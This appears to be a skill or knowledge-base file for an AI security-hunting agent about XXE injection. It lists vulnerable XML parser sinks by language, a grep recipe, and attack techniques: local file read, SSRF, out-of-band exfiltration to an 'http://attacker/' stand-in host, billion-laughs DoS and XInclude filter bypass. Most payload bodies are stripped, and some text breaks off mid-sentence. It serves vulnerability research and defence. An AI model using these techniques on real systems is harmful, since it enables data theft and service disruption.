--- name: sh-kb-xxe description: "Knowledge base for finding XML External Entity injection - XML parsers configured to resolve external/general entities on untrusted input, enabling file read, SSRF, and DoS. Use when hunting XXE, XInclude, or XSLT injection in XML-consuming endpoints. CWE-611/776/827, OWASP A05:2021-Security Misconfiguration." --- # XML External Entity (XXE) - Hunter Knowledge Base An XML parser that resolves external entities processes attacker-supplied XML, letting a DTD declare entities that read local files, make server-side requests (SSRF), or exhaust resources (billion laughs). ## When to hunt this Any endpoint that parses XML from users: SOAP, XML APIs, WebDAV (`PROPFIND` bodies), SVG/DOCX/XLSX/PPTX/ODT uploads (zip-of-XML: `[Content_Types].xml`, `word/document.xml`), SAML responses and metadata, RSS/Atom import, XML config/plugin upload, `Content-Type: application/xml` or `text/xml` handlers, and server-side SVG/XSLT/XSD processing. Also **content-type switching**: an endpoint written for JSON that also has an XML message converter or body parser enabled (Spring converters, ASP.NET XML formatters, legacy Rails/Express XML parsers) - resend the body as `application/xml`. ## Sinks by ecosystem (grep targets) - **Java**: `DocumentBuilderFactory`, `SAXParserFactory`, `XMLInputFactory`, `TransformerFactory`, `SchemaFactory`/`Validator`, `XPathFactory`, `SAXReader`/`SAXBuilder`/`DocumentHelper.parseText`, `Unmarshaller` fed from a `StreamSource`/`InputStream`, `XMLReader` - vulnerable unless external entities/DTDs are disabled. OpenSAML/SAML libs, Apache POI/docx4j, Batik (SVG) use these underneath. - **Python**: `xml.etree.ElementTree` (older), `lxml.etree` with `resolve_entities=True`/custom resolver (check lxml version and the explicit flag), `xml.dom.minidom`, `xml.sax`, `lxml.etree.XSLT` - `defusedxml` is the safe replacement. `xmltodict` (expat) does not fetch external entities. - **PHP**: `simplexml_load_string`/`DOMDocument->loadXML`/`XMLReader` with `LIBXML_NOENT`/`LIBXML_DTDLOAD`; `XSLTProcessor`. - **.NET**: `XmlDocument`/`XmlTextReader` with `DtdProcessing=Parse` and a non-null `XmlResolver`; `XslCompiledTransform` with `XsltSettings.EnableDocumentFunction`/`EnableScript`; `XPathDocument` on old targets. - **Node**: `libxmljs` with `noent:true`/`dtdload`, some SOAP configs; `xml2js` and `fast-xml-parser` do not resolve external entities by default. - **Ruby**: `Nokogiri::XML(input) { |c| c.noent }` or `DTDLOAD`/`NOENT` options (defaults are safe); REXML entity-expansion DoS. - **Go**: `encoding/xml` does not resolve external entities (not XXE); check `libxml2` bindings instead. ## Detection recipe 1. `graft grep "DocumentBuilderFactory|SAXParser|XMLInputFactory|SchemaFactory|TransformerFactory|XPathFactory|loadXML|simplexml_load|lxml.etree|etree.fromstring|XmlReader|XmlDocument|DtdProcessing|libxmljs|Nokogiri::XML|noent|resolve_entities" --json`. 2. Confirm the parser reads untrusted XML (HTTP body, upload, SAML, import, queue message) and which zip-embedded parts are parsed. 3. Check whether external entities / DTDs are **disabled** (see filters). If defaults are left on (many parsers resolve entities by default), flag. For Java, read the factory configuration lines, not just the class name. 4. Check whether the parsed content or parser errors come back to the user (in-band read), or whether only out-of-band/error-based exfiltration is possible (lowers confidence, still reportable). 5. Check for user-influenced XSLT or XSD (`xsl:include`, `document()`, `xs:import`) even when DTDs are off. ## Payloads / PoC - File read: a DOCTYPE with `` then reference `&xxe;` in an element. - SSRF: ``. - Blind/OOB (parser suppresses output): external DTD hosted by attacker exfiltrating via a parameter entity to `http://attacker/?%file;`. When outbound traffic is blocked, error-based exfil by redefining an entity from a DTD already present on the server's filesystem ("local DTD" reuse) can surface file content in errors. - Billion laughs DoS: nested entity expansion. - SVG/Office upload: embed the DOCTYPE inside the XML part of an uploaded SVG/DOCX. - **XInclude (no DOCTYPE needed)**: when the app rejects/strips a `DOCTYPE` but drops attacker XML into an existing document's body (not the whole document), a `DOCTYPE` declaration isn't possible - instead use `xi:include` if the parser has XInclude enabled: ``. This bypasses DOCTYPE-based filters entirely, so "no ` **high/critical**; DoS-only -> medium. ## Chaining hints XXE file read -> `secrets` (config/keys) -> further access; XXE -> `ssrf` -> cloud metadata/internal; present in SAML flows -> `auth` bypass; user-supplied XSLT can escalate to file read or code execution depending on the processor's extension settings. ## Detection signals (for defenders) - **Web/WAF logs with request bodies** (body, `Content-Type`, status, response size): `